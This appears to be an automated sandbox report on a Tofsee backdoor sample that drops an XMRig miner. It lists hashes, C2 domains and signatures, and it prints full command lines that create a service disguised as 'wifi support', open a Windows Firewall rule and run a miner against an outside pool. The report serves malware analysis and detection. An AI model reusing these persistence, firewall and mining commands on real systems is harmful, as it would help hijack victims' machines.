Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18/12/2022, 17:03

General

  • Target

    6f2a43f3598a46a9cb6dde293a2d32672cc9a50fb1f275d109fd01210f0de2de.exe

  • Size

    214KB

  • MD5

    02c1c0fa3e5eee5805a757f714a794e4

  • SHA1

    76add720a77c1aad773e82934e792164c946b3df

  • SHA256

    6f2a43f3598a46a9cb6dde293a2d32672cc9a50fb1f275d109fd01210f0de2de

  • SHA512

    0b9f751aab5cb8c61e1e8a0d8c25a1af4464db4abe3519866368df11e255aab62a1677ae2f9e8fa57ebf8369989fa1a50f3d9ba06cb5fad677570cabff3334be

  • SSDEEP

    3072:pvit0KLAIsRtQfmRpQ3R+vo9GebmhgCRg3uL+jbHHOil3lk025PH:dALPWMT9/bKa+MbHjlVklPH

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6f2a43f3598a46a9cb6dde293a2d32672cc9a50fb1f275d109fd01210f0de2de.exe
    "C:\Users\Admin\AppData\Local\Temp\6f2a43f3598a46a9cb6dde293a2d32672cc9a50fb1f275d109fd01210f0de2de.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\djwyjqut\
      2⤵
        PID:2004
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rxkfyfsn.exe" C:\Windows\SysWOW64\djwyjqut\
        2⤵
          PID:4076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create djwyjqut binPath= "C:\Windows\SysWOW64\djwyjqut\rxkfyfsn.exe /d\"C:\Users\Admin\AppData\Local\Temp\6f2a43f3598a46a9cb6dde293a2d32672cc9a50fb1f275d109fd01210f0de2de.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description djwyjqut "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start djwyjqut
          2⤵
          • Launches sc.exe
          PID:1556
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2248
      • C:\Windows\SysWOW64\djwyjqut\rxkfyfsn.exe
        C:\Windows\SysWOW64\djwyjqut\rxkfyfsn.exe /d"C:\Users\Admin\AppData\Local\Temp\6f2a43f3598a46a9cb6dde293a2d32672cc9a50fb1f275d109fd01210f0de2de.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4232
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4964
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4056

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rxkfyfsn.exe

        Filesize

        10.1MB

        MD5

        43f32097e382de22ad1d45e1a2dff3d5

        SHA1

        5b9598700d618f912af3e27262c46d99bcc0fcf5

        SHA256

        50495ab21605bc3e54c5b69d5714cafe681c27908021c2bc0b3cb07787d8cbcd

        SHA512

        d73f5885ac3d9196b5581a2761f164ab5a4d22409bb8c58b2d6061c3b0a257498c84ee2d22df310665ddd30effd597f34b8eb7579a4694d6f3580e06bf0f48dd

      • C:\Windows\SysWOW64\djwyjqut\rxkfyfsn.exe

        Filesize

        10.1MB

        MD5

        43f32097e382de22ad1d45e1a2dff3d5

        SHA1

        5b9598700d618f912af3e27262c46d99bcc0fcf5

        SHA256

        50495ab21605bc3e54c5b69d5714cafe681c27908021c2bc0b3cb07787d8cbcd

        SHA512

        d73f5885ac3d9196b5581a2761f164ab5a4d22409bb8c58b2d6061c3b0a257498c84ee2d22df310665ddd30effd597f34b8eb7579a4694d6f3580e06bf0f48dd

      • memory/2004-176-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/2004-167-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/2004-168-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/2004-170-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/2004-169-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/2200-186-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/2200-185-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3700-180-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3700-179-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3700-181-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3700-182-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-155-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-134-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-136-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-137-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-138-0x0000000000460000-0x000000000050E000-memory.dmp

        Filesize

        696KB

      • memory/3876-140-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-141-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-139-0x00000000001E0000-0x00000000001F3000-memory.dmp

        Filesize

        76KB

      • memory/3876-133-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-142-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-143-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-144-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-145-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-146-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-147-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-148-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-149-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-150-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-151-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-152-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-153-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-154-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-115-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-156-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-157-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-158-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-159-0x0000000000400000-0x000000000045F000-memory.dmp

        Filesize

        380KB

      • memory/3876-160-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-161-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-162-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-163-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-164-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-165-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-135-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-132-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-130-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-131-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-129-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-219-0x0000000000400000-0x000000000045F000-memory.dmp

        Filesize

        380KB

      • memory/3876-217-0x00000000001E0000-0x00000000001F3000-memory.dmp

        Filesize

        76KB

      • memory/3876-116-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-117-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-118-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-128-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-127-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-119-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-126-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-125-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-124-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-123-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-122-0x0000000000501000-0x0000000000511000-memory.dmp

        Filesize

        64KB

      • memory/3876-121-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/3876-120-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/4076-177-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/4076-175-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/4076-174-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/4076-173-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/4076-172-0x0000000076EC0000-0x000000007704E000-memory.dmp

        Filesize

        1.6MB

      • memory/4232-320-0x0000000000460000-0x000000000050E000-memory.dmp

        Filesize

        696KB

      • memory/4232-331-0x0000000000400000-0x000000000045F000-memory.dmp

        Filesize

        380KB

      • memory/4964-414-0x0000000000820000-0x0000000000835000-memory.dmp

        Filesize

        84KB

      • memory/4964-483-0x0000000000820000-0x0000000000835000-memory.dmp

        Filesize

        84KB